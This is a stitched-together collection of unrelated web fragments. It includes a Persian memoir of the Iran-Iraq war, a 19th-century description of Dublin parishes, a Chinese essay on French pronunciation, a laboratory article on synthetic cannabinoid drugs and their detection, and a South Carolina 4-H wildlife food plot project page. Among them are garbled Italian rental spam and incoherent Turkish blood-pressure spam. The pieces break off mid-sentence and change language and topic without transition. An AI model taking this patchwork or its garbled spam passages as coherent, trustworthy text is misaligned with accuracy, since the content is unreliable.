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وهستان، دشت و ارتفاع و... برای بچه ها چیزی به نام شرایط یا لحظات سخت، معنا نداشت. در والفجر 9، شهدای ما خونشان نرسیده به زمین، یخ می زد. خدا رحمت کند شهید اسحاقی را. بچه شیراز بود. فرمانده گردان بود و من در خدمتش بودم. ایشان تعریف می کرد چون امکانات ما خیلی ناچیز بود، وقتی هلی برن می شدیم بالای ارتفاعات، یک گونی ساندیس می گرفتم دستم که دست خالی بالا نیایم. بچه ها مثل اینکه یک خودکار دستشان گرفته باشند، تیربار به دست می دویدند. دست ها طوری یخ زده بود که روی ماشه نمی چرخید. ما اینگونه با متجاوز می جنگیدیم. ولی اصلاً هیچ کس نمی گفت سخت ترین شرایط. وقتی به هم می رسیدند، می گفتند فلانی مژده مژده؛ حالا نزدیک ترین دوستش شهید شده بود، ولی حرفی از شرایط سخت نمی زد و خوشحال بود و ناراحت بودند که خودشان هنوز مانده اند. فکر می کردند شاید راهی باز شده که بعد از او نوبت خودشان باشد.
شاید بدترین خاطره و لحظه ام در همان «میمک» باشد که بچه ها در محاصره بودند. شهید یزدان شریف به من بی سیم می زد که فلانی چکار می توانی بکنی و من وقتی می خواستم بروم، شهید کلهر می گفت فلانی اگه الآن بروید و احساسی عمل کنید، شما هم از بین می روید و هیچ کاری از دستمان برنمی آید. سخت ترین لحظات من لحظه ای بود که دوستم پشت بی سیم از ما کمک می خواست و ما نمی توانستیم کاری کنیم و اگر هم می خواستیم کاری کنیم، به غیر از اینکه خودمان را فدا کنیم، هیچی نمی شد.
محاصره بودیم، اما بچه ها اصلاً احساس نمی کردند که محاصره هستند. می گفتند ما آمدیم بجنگیم و بمیریم؛ فقط اسیر نمی شویم. ما در میمک درخواست کردیم با توپ برامان غذا و سلاح بفرستند. خرج توپ را خالی می کردند و به جای آن غذا می گذاشتند. آن موقع این نبود که بگوییم شرایط سخت است و غذا نمی رسد. نزدیک یک هفته بود که بچه ها ریشه علف می خوردند و راضی بودند.ـ مادرم گفت باید بروید جبهه
مسئله ای که ما همیشه مد نظر داشتیم این بود که ببینیم حضرت امام(ره) چه می فرمایند. یادم هست که پای تلویزیون بودیم. تلویزیون سیاه و سفید کوچکی داشتیم. امام پیام دادند. مادرم گفت که فردا هر دوتایتان (من و برادرم) باید بروید جبهه. امام اینگونه بود؛ پدر و مادر رزمنده ها و خود رزمنده ها همه منتظر بودیم که امام چه می گویند. این گونه عمل کردیم که جواب داد. اگر واقعاً پیرو ولایت باشیم، مطمئن باشید که کار پیش می رود و قطعاً موفقیم. ولی اگر هر کسی برای خودش نظر بدهد و تکروی کند، کار از پیش نمی رود. در کردستان، خواسته و ناخواسته با کوموله ها درگیر بودیم.ـ در حلقه محاصره و کمین مزدوران
عملیات والفجر 8 قرار بود در فاو انجام شود و ما نیز یگانمان مأموریت داشت. آن موقع ارتباطات خیلی ضعیف بود. مثل امروز نبود که انسان می تواند هر لحظه با هر جا تماس بگیرد. چون از قبل اطلاع داشتم و دوستان صحبت کرده بودند، وقتی از حج برگشتم، یک روز در منزل ماندم و حرکت کردم طرف منطقه عملیاتی پاوه. شب عملیات شده بود و من فرداش رسیدم آنجا. چند تا پاتک در خدمت بچه ها بودم. یک تویوتا وانت داشتیم با راننده. هر کار می کردیم که راننده پشت فرمان بنشیند، قبول نمی کرد. دم غروب بود. عجله داشتیم و باید برمی گشتیم کرمانشاه. برادرِ خانم ما در میمک مجروح شده بود و اسیر شده بود که به دلیل آن معلولیت آزادش کرده بودند. یازده ماه اسیر بود. جزء 24 نفری بود که سال 64 آزاد شد. با عصا راه می رفت. وضع ناجوری داشت. کمتر از ده روز بود که آمده بود. توی این گیر و دار دیدم چند نفر هم می خواهند برگردند. برگه مرخصی داشتند. هر کاری هم کردیم، راننده پشت فرمان ننشست. بنده خدا سرباز بود. برادر خانم من هم حالش خیلی بد بود. باید تنها می نشست جلو. او را با آن وضعش از عراق آزادش کرده بودند و واقعاً توان اسارت را نداشت. نشست پشت وانت و آن دو نفر مجروحی که همراه ما بودند، جلو نشستند و هفت ـ هشت نفر هم پشت سوار شده بودند. آمدیم به طرف سه راه پاوه تا برویم کرمانشاه.
آن زمان گروه های کوموله و دمکرات ها خیلی کمین می زدند. خطرات تهدید می کرد. غروب بود و ما سعی می کردیم خیلی سریع از آن منطقه رد شویم. اگر سه ـ چهار نفر بودیم با ماشین خیلی سریع می رفتیم و از منطقه عبور می کردیم. ولی چون ماشین سنگین بود، یواش راه می رفت. این دمکرات ها هم بعد از عملیات آمده بودند، کمین گذاشته بودند و منطقه را آلوده کرده بودند. چند دقیقه بعد که حرکت کردیم برای دوستان صحبت کردم که اگر قرار باشد کمین بزنند، بهترین حمله و دفاع این است که سریع ماشین را از معرکه نجات دهیم. توی این صحبت ها بودیم که بارنگام را رد کردیم. رسیدیم ارتفاعاتش. جاد
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a neat edifice in the Gothic style, with a small but elegant spire. The cemetery is the usual place of interment for the garrison of Dublin : it contains a monument to the memory of Lieut.-Col. Lyde Brown, of the 21st Fusileers ; a mural tablet to that of three privates of the same regiment, who were killed in the insurrection of 1803 ; and a mausoleum for the family of Col. Ormsby. The chapel of the King's or Blue-coat Hospital is in this parish. There are parochial schools for boys and girls, an infants' school, and a Sunday school. The late Lord Netterville bequeathed #9000 to this and the adjoining parish of St. Michan for a dispensary and hospital, which is also supported by subscription.
St. Peter's parish, erected by order of council in 1680, is the largest in the city, comprising the ancient parishes of St. Peter and St. Kevin, and a portion of that of St. Stephen : it contains 27,176 inhabitants, and 2260 houses valued at #5 and upwards, the total annual value being #124,865. 10. It is a vicarage, united to the rectories of Tawney, Rathfarnham, Donnybrook, and district of Booterstown, together forming the corps of the archdeaconry of Dublin, in the patronage of the Archbishop ; the minister's money is #1086. 15. 4., and the gross annual income is #2768, out of which there are 12 curates to be paid. The church, situated in Aungier-street, is a very large unornamented building, in the form of the letter T : the Ecclesiastical Commissioners have granted #735. 0. 6. for its repair. In the attached cemetery are interred the remains of many persons of rank ; those of the celebrated John Fitzgibbon, Earl of Clare, lie here under a plain tombstone ; Maturin, the poet, who was curate of the parish, is also buried here. There are within its limits three chapels of ease, one in Kevin-street, one in Upper Mount-street, Merrion-square, and a third at Rathmines ; and within the parish are Sandford Episcopal chapel at Cullenswood, and an Episcopal chapel in Upper Baggot-street. The church or chapel of St. Kevin is a plain edifice, in the form of the letter T, situated to the south of Kevin-street ; it appears to have been erected on the site of an ancient chapel dedicated to St. Kevin. The chapel in Upper Mount-street, dedicated to St. Stephen, is an elegant structure. The portico is of the Ionic order; over the pediment rises the belfry tower, of octangular form, covered with a cupola, the apex of which is 100 feet high. The Episcopal church in Upper Baggot-street, with a female penitentiary attached, was erected in 1835 by subscription, at a cost of upwards of #6000 : the exterior is plain, but the interior is exceedingly handsome ; it will accommodate 1200, and has from 300 to 400 free seats : the appointment of the chaplain is in nine trustees. The Episcopal chapel of the Magdalen Asylum, in Leeson-street, is also in this parish. There are parochial schools for boys, girls, and infants ; schools at Sandford chapel for boys, girls, and infants ; a Methodist female orphan school ; St. Stephen's male and female day school in Mount-street ; Bride-street parochial female school ; day schools at Hatch-street and Cuff-lane ; two in Whitefriar-street ; two at Rathmines and Miltown ; two other infants' schools and five Sunday schools. There is also a parochial dispensary, and a loan fund established in 1813.
St. Thomas's parish was separated from St. Mary's, in 1749, by act of parliament : it contains 20,881 inhabitants, and 1373 houses valued at #5 and upwards, the total annual value being #65,537. 10. The living is a rectory, in the patronage of the Dean and Chapter of Christ-Church ; the minister's money is #684. 12. 1., and the gross income #922. 1. 10. The church, erected in 1758, presents a front to Marlborough-street, opposite to Gloucester-street, composed of two pilasters and two three-quarter columns of the Composite order, supporting an entablature and enclosing ornamented niches, and, in the centre, a Corinthian doorway, with an angular pediment : on each side of this facade is a half-pediment, supported by a Corinthian pilaster at the extremity, and a half-pilaster in the return : an intended pediment over the centre has not been erected. The Ecclesiastical Commissioners have granted #915. 17. 9. for the improvement of the building. The Episcopal chapel of the Feinaglian institution at Luxemburgh, for the use of the pupils, but open also to their friends, is in this parish. A parochial school for girls is supported by a bequest of #75. 1. 3. per ann. and voluntary contributions ; there are also a day school for boys and girls, a national school, and a Sunday school. The buildings of the Board of National Education and a savings' bank are in this parish.
St. Werburgh's parish contains 3384 inhabitants, and 214 houses valued at #5 and upwards, the total annual value being #11,602. 10. It is a rectory, united to the rectory of Finglass and the chapelries of St. Margaret and Ward, together forming the corps of the chancellorship of the cathedral of St. Patrick, in the gift of the Archbishop ; the minister's money is #200. 2., and the gross income #680. The church was erected in 1759. The front is composed of a basement story ornamented with six Ionic pilasters with an entablature, and a grand entrance of the same order. The second story, which is diminished, is adorned with four Corinthian pilasters, coupled, enclosing a large window, and supporting a pediment, above which rises a square tower of Composite architecture, terminating with urns placed at the angles. An elegant spire which formerly surmounted the whole was taken down in 1810, on account of its dangerous state ; and, for the same reason, the entire tower was taken down in 1835. The Ecclesiastical Commissioners have granted #1140. 16. 11. for the restoration of the tower and the general repairs of the building. The Lord-Lieutenant of Ireland, attends here to qualify on his coming into office, the castle of Dublin being situated in the parish. The east window of stained glass is considered the handsomest in Dublin and cost about #600 : the subject is the Presentation. In the interior are several neat monuments, and on the exterior, in the wall of the church, are some very ancient sculptured figures, evidently belonging to an older building. In the vaults are deposited the remains of Sir James Ware, the antiquary, Lord Edward Fitzgerald, and Edwin, the actor. The vice-regal chapel, Dublin Castle, is within the precincts of this parish. There is a parochial boarding school for girls, and parochial day schools for boys and girls, a day school for girls, and a Sunday school. James Southwell, Esq., in 1729, bequeathed #1250, the interest to be applied for various purposes : he also bequeathed #380 for a ring of bells, and a fund to place boys in the Blue-coat school.
Dublin city (Part 5)
ROMAN CATHOLIC PAROCHIAL DISTRICTS, PLACES OF WORSHIP, CONVENTS, AND CHARITIES CONNECTED THEREWITH.
The city is divided into nine R. C. parishes or ecclesiastical districts : St Mary's, St. Michan's, St. Paul's, St. Andrew's, St. Audeon's, St. Catherine's, St. James's, St. Michael's and John's, and St. Nicholas's : the first three are on the north side of the Liffey. The ecclesiastical duties are executed by nine parochial priests and 52 other officiating clergymen.
The parish of St. Mary is the mensal of the Archbishop, and comprises the Protestant parish of St. Thomas, and the principal parts of those of St. Mary and St. George : the parochial duties are performed by the Archbishop, seven officiating clergymen, and one assistant. The chapel, a spacious and magnificent building, commenced in 1815 and not yet completed, is dedicated to the Blessed Virgin Mary, and is usually styled the Church of the Conception. The front to Marlborough-street will, when finished, consist of a portico of six fluted Doric columns, supporting an entablature ornamented with triglyphs, and surmounted by a pediment. The interior is divided into a nave and side aisles by two splendid colonnades ; the west end forms a circular termination, under which is the principal altar of white marble, detached from the walls and enclosed by a circular railing ; in the centre of each aisle is a quadrangular recess. The total expense of completing the structure is estimated at #50,000. Besides the above, there are the chapel of St. Francis Xavier, Upper Gardiner-street ; a chapel belonging to the Dominican friary, Denmark-street ; and a chapel belonging to the convent of Carmelite nuns, North William-street. The chapel of St. Francis Xavier is attended by the priest of the order of "Jesuits," established here in 1817 : the inmates consist of a superior and five priests, who have a classical school in Hardwicke-street. The building is cruciform and of the ancient Ionic order, with a lofty portico in the centre ; and at each side are receding wings forming vestibules, crowned with domes supported by columns of the Ionic order ; the interior is highly decorated, and the organ, which is considered to be one of the finest in Ireland, was built for the great musical festival at Westminster. The chapel in Denmark-street, dedicated to St. Dominic, belongs to the order of Dominicans, consisting of a prior and five friars ; in connection with this is St. Patrick's Juvenile Society. The chapel in North William-street belongs to the convent of the order of Carmelites : the inmates consist of a superioress and a sisterhood of 15. The chapel is a neat building, in the later style of English architecture ; a school, in which 20 girls are educated, clothed, and wholly provided for, is attached to the institution. The Sisters of Charity have an establishment in Upper Gardiner-street, consisting of a superioress and a sisterhood of 14, who superintend the education of 200 girls. The principal establishment of the Christian Doctrine Confraternity, consisting of a director and two assistants, is in North Richmond-street, where they support a model school for the novices for the other houses of the society ; they also instruct 550 children in the parochial chapel and 130 in Denmark-street, every Sunday. The confraternity instruct children in all the other parochial and in most of the friary chapels : the total number of children under their tuition amounts to 5987 males and 3942 females. There are two national schools, one in Gloucester-place, and the other in King's Inns-street ; an almshouse in North William-street for twenty-three widows, which is supported by subscription ; and the Metropolitan Orphan Society, in which 99 children are supported, chiefly by penny weekly subscriptions of the working classes. The Asylum for Female Penitents, founded in 1833, affords shelter to 30 inmates ; another in Mecklenburgh-street, founded in the same year, supports 35 ; a third in Dominick-street supports 34, and there is another in Marlborough-street ; in all of them the penitents are employed in needlework, washing, and similar useful occupations.
St. Michan's parish comprises parts of the Protestant parishes of St. Mary, St. George, St. Michan, St. Paul, and Glasnevin. The duty is performed by a parish priest and six officiating clergymen. The chapel in North Anne-street is a splendid edifice, built entirely of granite ; it is in the later English style, with three finely arched entrances in the front, which terminate above in a sharply pointed gable, embattled and surmounted with a cross ; the interior is richly ornamented with sculpture, and the ceiling is elaborately groined, the intersecting arches springing from heads of saints finely sculptured ; the altar is embellished with paintings of the Virgin and Child, and of St. Francis, copied from Guido. There is another chapel on George's-hill, belonging to the convent of the Presentation order, the inmates of which, consisting of a superioress and ten sisters, superintend a school, at which about 300 female children are instructed, 50 of whom are clothed, and from 16 to 20 are also boarded. The institution is chiefly supported by the profits of the work done by the children. The chapel, which is exceedingly neat, is open every morning. There is a day boys' school of about 300 pupils ; also an establishment for 12 orphans who are totally provided for and when of a proper age apprenticed ; the institution is supported by subscriptions. The Orphan Society of St. Vincent a Paulo was founded in 1826, in which 40 orphan children are wholly provided for, and 45 by the Society for Destitute Orphans under the tutelage of the Blessed Virgin Mary of Mount-Carmel. The Society of St. John the Evangelist, for promoting the exercise of spiritual and corporal works of mercy, is in North King-street, and has a good library in connection with it. In Paradise-row is the Josephian Orphan Society, in which 36 orphans are totally provided for ; and in the same street is the House of Reception for aged females, containing 18 inmates.
St. Paul's parish comprises the Protestant parish of Grangegorman, the principal part of St. Paul's, and parts of St. Michan's and Glasnevin. The duty is performed by a parish priest and six officiating clergymen. The chapel on Arran-quay having been found to be too small, another, near the entrance of the old building, is now completed with the exception of the portico and steeple : the interior is richly ornamented ; behind the altar is a painting in fresco, on which the light is thrown after the manner of the "lumiere mysterieuse" in some of the churches of Paris, The whole cost of the erection of the building will be about #10,000, which will be wholly defrayed by voluntary subscription. There is a chapel of ease at Phibsborough, a neat Gothic structure, but too small for the increasing congregation : beneath are male and female free school-rooms, and apartments for an orphan society, and over the sacristy a residence for the clergyman and a lending library belonging to a branch society of St. John the Evangelist. The chapel of St. Francis, in Church-street, belongs to the friary of the Capuchins, the community of which consists of a guardian and six friars. The chapel is a large plain building ; the altars are adorned with paintings of the Crucifixion, the Virgin and Child, and St. Francis : a free school for boys is connected with it. There is a school in Queen-street, in which about 250 boys and 150 girls are instructed ; also a national boys' and girls' school connected with the chapel at Phibsborough. The convent of the Sisters of Charity, in Stanhope-street, consists of a local superioress and a sisterhood o
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紧张，法语元音听起来更为清晰、有力。而英语的元音发音有时因为发音器官的变化会带出双元音，这让学习者在发一个法语元音时经常自然而然迅速滑到下一个音，比较明显的有【e】发成【ei】，【o】发成【ou】，这是我们在学习法语语音时要着重克服的一个问题。 第三，小舌音【r】是法语中最标志性的一个音素，主要靠小舌的震动带动发音。由于汉语发音没有小舌音，所以学生在学习时往往找不到正确的发音方式，或者觉得小舌音发音很累，就习惯性用英语中的【h】音来代替小舌音【r】。学生应尽可能地避免这种负迁移，尝试通过在嘴里含水的方法多练习，正确掌握小舌音的发音。与此同时，英语学生在看到法语字母H时会不自觉地发音，但是在法语中，字母H 永远不发音，这就需要学生时刻提醒自己，避免犯低级错误。 第四，法语中除了特殊的几个辅音音素（【f】【l】【r】【c】）之外，辅音在词尾一般不发音，而英语专业的学生在开始学习时总会自然地将词尾辅音读出来，这是他们最容易犯的一个错误，学生应牢记法语辅音在词尾不发音。而即使上文提到的几个在词末发音的辅音音素，在英语与法语中的发音也不相同，比如法语中的【l】位于词尾时，发出【l】+弱化【e】的合成音，而【l】在英语单词中是一个舌侧音，两者发音差别较大。 最后，英语对法语语音较为严重的一个负迁移作用体现在单词的重音位置上。英语单词的重音较为多变，而法语单词的重音固定在最后一个音节，英语学生在学习时往往不太适应这种重音位置。此外，法语单词中尽管在一些词末重读音节中元音要读长音，但是法语的长音比英语要短，只是象征性地比一般音略长一些，这种差别几乎可以忽略不计。 英语法语两种语言在语音上存在大量的相似之处，我们在学习过程中应充分利用这些相似性，将英语的正迁移作用发挥到最大。但同也要看到，即使相似之处也存在着细微的差别，不能生搬硬套。与此同时，我们也不能忽视英语对法语产生的负迁移作用，在学习初始更应该及时避免这些容易让我们犯错的地方，这样才能打好坚实的基础，更好地学好法语语音。 参考文献： [1]许涛.论法语语音与英语语音的区别[J].昆明医学院学报， 1996（04）. [2]朱志.如何利用原有的语音知识进行法语语音教学[J].外语学刊，2009（01）. [3]孙辉.简明法语教程[M].北京：商务印书馆，2003. [4]冯鸿燕.英语正迁移易化法语词汇教学的研究[J].天津商务职业学院学报，2013（4）. 。
Tag：英语(194)学习(413)语音(5)法语(4)发音(1)
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Col passare del tempo noleggio a Oregon, si avrà l'opportunità di sperimentare una varietà di texture, forme e colori che offrono l'ambiente.
Se si vogliono rilassarsi sulla vostra prossima vacanza e ottenere uno dei appartamenti per vacanze a Oregon sarebbe il metodo ideale per fare.
È un posizione di Stati Uniti. Il suo bandiera raccoglie tutti path ha portato viaggi a questo tempo giorni. La sua superficie è di circa 84 km. Il 61% dei turisti ha detto che è una città affascinante.Often marketed as herbal incense or as a legal alternative to marijuana, synthetic cannabinoids grabbed headlines in recent years when hospital emergency departments experienced a sudden spike in overdoses and admissions for the designer drugs known as Spice and K2. The products, which are marketed to users looking for a drug similar to marijuana, consist of dried plant materials resembling potpourri that have been sprayed or laced with synthetic cannabinoids.
While Spice and K2 are the most widely known brands, hundreds of other brands are sold legally by Internet retailers, at convenience stores, and in tobacco shops for $8–20/g. Most are labeled with the warning ‘not for human consumption' to circumvent the U.S. Controlled Substances Act.
As these designer drugs continue to be sold and used, laboratories need to understand how to detect them. This article will describe the chemical origins of synthetic cannabinoids and their effects on users, legal status, and prevalence, as well as the limits of current testing methods.
Effects of Synthetic Cannabinoid
Synthetic cannabinoids have been compared with the psychoactive compound, Δ-9-tetrahydrocannabinol (THC), found in marijuana. On the molecular level, they are potent cannabinoid receptor agonists that also may have affinity for other types of receptors. Reported symptoms of toxicity include anxiety, agitation, paranoia, hallucinations, tachycardia, hypertension, excessive sweating, nausea, and vomiting.
Overdoses of synthetic cannabinoids can cause panic attacks and psychosis and lead to tragic results. In 2010, an Iowa teen smoked K2 with some friends, and then reportedly told them he was "going to hell" and went home, where he shot and killed himself. In another case, a 19-year-old in Illinois died when his car jumped a retaining wall at an estimated speed of 100 mph, flew 15 feet, and crashed into a house. About 90 minutes before the crash, he told his brother he had been smoking "legal potpourri." In both of these cases, the victims reportedly purchased the synthetic cannabinoids at a local shopping mall.
For people looking to get high, synthetic cannabinoids are readily available, fairly inexpensive, and in many cases, legal to purchase. Naive drug users also may incorrectly assume that a product sold at a convenience store and labeled as natural is safe to try. Furthermore, employees, such as transportation workers or military personnel who must undergo random drug testing, may be more likely to use synthetic cannabinoids because they are not detected by current drug screening programs.
Synthetic cannabinoids originally emerged in Europe in 2006, and by November 2008, the U.S. Drug Enforcement Agency's (DEA) forensic laboratory detected them in products in the U.S. The following year, the American Association of Poison Control Centers (AAPCC) reported 112 calls involving synthetic cannabinoids to poison control centers in 15 states. That number quickly soared. Within 9 months, 49 states plus the District of Columbia recorded 2,700 calls, and by 2011, the number rose to 6,549. In its latest report in October 2012, AAPCC logged an average of 580 calls per month for 2012.
Other signs of the growing popularity of synthetic cannabinoids are also evident. In 2010, DEA reported that 30–35% of specimens submitted by juvenile probation departments tested positive for synthetic cannabinoids, and according to the 2011 National Institutes of Drug Abuse (NIDA)-sponsored Monitoring the Future survey, 11% of high school seniors reported smoking synthetic marijuana in the past year, making it one of the most commonly abused drugs in this population—second only to marijuana. Furthermore, researchers recently reported that 4.5% of urine specimens collected from 5,956 U.S. athletes tested positive for synthetic cannabinoids, the highest of all drug classes detected (1). Synthetic cannabinoid use also has spiked among military personnel, and the Armed Forces are currently conducting a study to determine the prevalence of synthetic cannabinoid use within the military.
Classes and Structures of Synthetic Cannabinoids
There are three major categories of synthetic cannabinoids: classical cannabinoids, cyclohexylphenols, and aminoalkylindoles.
One well-known classical cannabinoid is the THC analogue HU-210. This chiral compound takes its name from Hebrew University where it was synthesized by Raphael Mechoulam in the 1980s. HU-210 is a schedule I controlled substance under the Controlled Substances Act. According to the U.S. Customs and Border Protection, it was discovered in January 2009 in herbal incense products in Wilmington, Ohio, where agents seized more than 100 lbs of the product. However, classical cannabinoids are difficult to synthesize and do not appear to be highly prevalent on the market.
Pfizer developed the second category of synthetic cannabinoids, cyclohexylphenols, as analgesics in the late 1970s. Dubbed CP for Charles Pfizer, CP-47,497 and its C8 homologue, cannabicyclohexanol, were among the first synthetic cannabinoids detected in herbal incense. In March 2011, DEA used its emergency scheduling authority to control these two compounds; however, they appear to have been replaced by new designer cannabinoids of the aminoalkylindole variety.
Aminoalkylindoles are currently the most prevalent synthetic cannabinoids. Included in this category are the JWH-018, JWH-073, and JWH-200 cannabinoids that DEA recently added to the class I schedule and other indole- and pyrrole-based analogues. Clemson University Professor J. W. Huffmann first developed the JWH series in the late 1990s. These cannabinoid analogues are synthesized in a simple two-step process, and undergraduate summer research students in his lab originally synthesized many of the original JWH analogues. A purification process also is necessary to achieve the final product. Recently, laboratories have detected phenylacetylindoles such as RCS-8, which stands for Research Chemical Suppliers, and benzoylindoles such as AM-694, named for Alexandros Makriyannis, in synthetic cannabinoid products.
Structures of Synthetic Cannabinoids Detected in U.S. Products as of September 2012
click for figure
Other cannabinoids found in U.S. products, but not shown, include benzoylindole RCS-4, phenylacetylindole JWH-251, and napthoylindoles JWH-019, JWH-015, JWH-081, JWH-398, AM-1221, and WIN 55,212-2.
* Indicates synthetic cannabinoids scheduled in March of 2011.
Following the DEA's March 2011 temporary emergency ban on the five synthetic cannabinoids described above, in July 2012, President Obama signed the Synthetic Drug Abuse Prevention Act of 2012 (S.3187) into law. The new law explicitly bans 15 synthetic cannabinoids in addition to 11 other synthetic designer drugs and increases the amount of time an analogue can be temporarily scheduled. At least 41 states also have legislative bans on synthetic cannabinoids.
But manufacturers of herbal incense products are financially motivated to stay one step ahead of such legislation. According to the Financial Times, assets for Psyche Deli, the original manufacturer of Spice in the U.K., grew by nearly 1300% from 2006 to 2007. In 2010, manufacturers in the U.S. claimed sales totaling more than $6,000/ day. Furthermore, in police testimony, one major manufacturer stated that if JWH-018 were banned, he would just switch and treat his dried plant products with another legal compound.
Recently, in fact, a new synthetic cannabinoid, AM-2201, began appearing in herbal incense products after the 2011 temporary scheduling of JWH-018. This compound is almost identical to JWH-018, except the terminal carbon of the alkyl chain has been changed to fluorine. Anecdotal reports from users posted on the Internet suggest AM-2201 is much more potent than JWH-018.
Hepatic CYP450 enzymes extensively metabolize the parent drugs of synthetic cannabinoids. For example, more than 20 metabolites of JWH-018 have been identified, including carboxylated, monohydroxylated, dihydroxylated, and trihydroxylated metabolites, that are excreted almost exclusively in urine as glucuronide conjugates (2–4).
Researchers have not detected the parent drugs in urine, and very limited data on detection time windows or expected concentrations of metabolites has been published. A study of one drug-naive individual showed the most abundant JWH-018 metabolite, JWH-018-N-pentanoic acid, was present in urine at approximately 0.1 ng/mL approximately 48 hours after a single use (5). Anecdotal evidence, however, suggests chronic users may produce positive urine for weeks after they stop using synthetic cannabinoids. In one study, researchers reported concentrations of JWH-018-N-pentanoic acid as high as 27,000 ng/mL in
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Breitschwerdt EB. Bartonellosis: One Health perspectives for an emerging infectious disease. ILAR J. 2014;55:46–58.
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ökeni, rozeti, üniforması ne olursa olsun, hemen hemen herkesten önce kendisini, sonra ԁa diğerlerini hasta etmeye uğraştığı ѵe dе genelde başardığı bir ülkede sağlıktan ne Kan Basıncı Nasıl Ölçülür, Kan Basıncı Nedir Kan basıncı, tansiyon olarak da bilinir, kalbin pompa hareketiyle vücuda gönderilen kanın damar duvarlarında yaptığı basınçtır.
Kapalı ortamlarda nem ve sıcaklık değişkenlerini insanların ortam konfor seviyesine uygun olarak ayarlanmasına veya üretimi yapılacak olan tohum vb. Ka Kan Basıncı 25 Ocak Cumartesi. Kan da kalbin ve damarların duvarlarına basınç uygular. İklimlendirme Nedir? İklimlendirme Nedir? gibi yerlerde istenilen ortam konfor şartını sağlamaya iklimlendirme denir #tansiyon #kan #pressureBütün maddeler, ağırlıklarından dolayı bulundukları yüzeye basınç uygular.
- Göz tansiyonu göz ağrı yaparmı
- Arter hipertansiyonu
- Tansiyonu neler artırır
- Harp okulu göz tansiyonu
- Tansiyonum normalde kaç olmalı
- Tansiyon doktoru
- Konuşan tansiyon
- Tansiyon düşürücü alkollü içecekler
- Gözde ışık çakması tansiyonSouth Carolina 4-H Wildlife Food Plot Project
The Wildlife Food Plot Project is a hands-on environmental education program and an independent-study project that allows youth (ages 5-18) an opportunity to establish, maintain, and observe a wildlife food plot. Youth learn concepts of wildlife conservation, plant identification, and habitat management and have the opportunity to put that knowledge into practice. We thank our sponsors, Quality Deer Management Association (QDMA) and Wannamaker Wildlife, for their support of this project! If you would like to register for this project at your local Extension office, complete the 2018 Wildlife Food Plot Project Contract (PDF 0.1MB) and return it with payment to your local office.View Newsletters
Set goals and plan activities and strategies to achieve those outcomes, even in the face of challenges.
Reflect on their yearly work by documenting their skill development and learning experiences.
Give back to their communities through educational and service activities.
Learn valuable skills in record keeping, financial management, and communication.
Become good stewards of the environment and gain technical expertise that can promote beneficial practices.
Age Divisions: Each youth will receive a copy of an age-appropriate project record book, as well as seed to plant a food plot. Ages for each age division (described below) are calculated as of January 1, 2019. For example, a youth that turns 5 years old on January 1, 2019 is eligible to participate as a Cloverbud; whereas a youth that turns 19 years old on January 1, 2019 is too old to compete as a Senior.
Cloverbud*, 5-8 years of age
Junior, 9-13 years of age
Senior, 14-18 years of age
*Cloverbuds are a non-competitive division. The purpose is to provide a fun and educational experience that helps children to learn life skills, explore their interests, learn subject matter skills, build self-confidence through healthy experiences, prepare for competitive events, and have fun! For more information on the Cloverbud experience, see the 4-H Leader Training Series, 4-H Cloverbuds: 4-H for Younger Members (PDF 0.6MB).
- Guidelines (PDF 0.1MB)
- All participants must be current South Carolina 4-H members for the 2018-2019 club year. (4-H enrollment information and payment can be made after project registration, but should be completed before picking up plot seed.)
- Youth must prepare, plant, maintain, and observe a wildlife food plot using the project seed provided.
- To be eligible for awards, youth must:
- complete 4-H enrollment with their local 4-H Agent,
- return a project evaluation with their record book submission (All responses will remain anonymous and youth may indicate that they choose not to participate in the survey if desired.),
- and not have been a state winner in the same age division in the 2017-2018 project year.
Project (runs September 2018 - January 2019)
Friday, August 10th: Your registration and payment must be received by 4-H. (Registration for 2018-2019 closed...look for 2019-2020 registration to open in June 2019).
Project materials should be available for pick up at your local Extension office by September 21, 2018.
- Thursday, November 1st: Your seed should be planted in your food plot site.
- Food plot site judging should be conducted in January 2019, coordinated by your local Extension office.
- Friday, January 25th: Your record book is due to your local Extension office.
- Look for winners to be announced:
- County - mid-February
- Region - late February - early March
- State - no later than mid-March 2019
2018-2019 Project Record Books
Youth will receive one copy of the 4-H Wildlife Food Plot Project record book from their local Extension office. Make sure you have the most up-to-date and appropriate age-division record book (linked below). Additional copies of the record books can be printed from this website. Only ONE record book can be submitted for each participant at the end of the project.
Cloverbud, ages 5-8 years (PDF 0.1MB)
Junior, ages 9-13 years (PDF 0.1MB)
Senior, ages 14-18 years (PDF 0.1MB)
To learn more about what content is expected in a 4-H Wildlife Food Plot Project Record Book, check out our judging criteria (PDF 0.1MB) document.
Frequently Asked Questions:
- What does this project involve?
Youth will be supplied with a record book, food plot seed (for about 1/8 of an acre) provided by Wannamaker Wildlife, a membership to QDMA Rack Pack, and newsletter that will help them with the project. Youth will be responsible for preparing, planting, maintaining, and observing a wildlife food plot and documenting their efforts in their record book. Record books have been specifically designed for each age division. At the end of the project, youth will submit their record book for judging at the county level. County-winning record books in the Junior and Senior age divisions will advance to the regional- and state-level for judging.
- Do 4-H'ers have to own the land where the food plot is planted to participate in this project?
No, youth do not have to own the land where the food plot is located or any associated tool or equipment used to participate in this project. They will need permission and access to those resources (not supplied by the project). Youth need to be responsible for managing a food plot and recording their efforts (setting goals, making decisions, learning, etc.).
- What does a 4-H'er need to participate in this project?
Youth need access to an area to plant a wildlife food plot, a method to complete a 4-H record book (hand-written entries are encouraged), and willingness to grow and learn. There are many additional items, such as a rain gauge, exclosure cage, and a digital camera for documenting wildlife sign, that are recommended, but not required. Contact your local County Extension Office if you need assistance accessing resources.
- What if we don't know anything about food plots, can we still enroll in this project?
YES!!! This project is designed to be a learning experience and provide flexible opportunities to engage in connecting to nature and managing a wildlife food plot. Wildlife Food Plantings by Clemson Professor Dr. Greg Yarrow is a great overview of planting food plots. Your County Extension Office should also serve as a good resource for you.
Wildlife Food Plot Project
Regional & State Winners
|2017-2018 Project Year|
|Upstate||Baylor Caldwell||Abbeville County|
|Midlands||Dianna Moore||Newberry County||State Winner!!!|
|Pee Dee||Barnes McConnell||Clarendon County|
|Savannah Valley||Tyler West||Orangeburg County|
|Upstate||Kensey Wilson||Oconee County|
|Midlands||Wyatt Hallman||Lexington County||State Winner!!!|
|2016-2017 Project Year|
|Upstate||Brylee Drennan||McCormick County|
|Midlands||Wilson Oxner||Lexington County||State Winner!!!|
|Pee Dee||Billy Godwin||Williamsburg County|
|Savannah Valley||Tyler West||Orangeburg County|
|Upstate||Chase Land||Oconee County||State Winner!!!|
|Midlands||Gabe Bobo||Lancaster County|
|2015-2016 Project Year|
|Upstate||Carson Wilson||Abbeville County|
